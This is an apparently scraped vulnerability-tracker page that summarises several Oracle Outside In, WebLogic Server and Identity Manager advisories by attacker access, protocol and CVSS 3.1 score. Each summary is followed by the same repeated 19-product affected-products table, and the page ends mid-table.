vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers via T3 or IIOP protocols to potentially gain full control of the server, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to potentially take control of the server, with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with HTTP network access to cause unauthorized data modification, deletion, or server crashes, rated CVSS 3.1 base score 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via T3 or IIOP to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTP network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
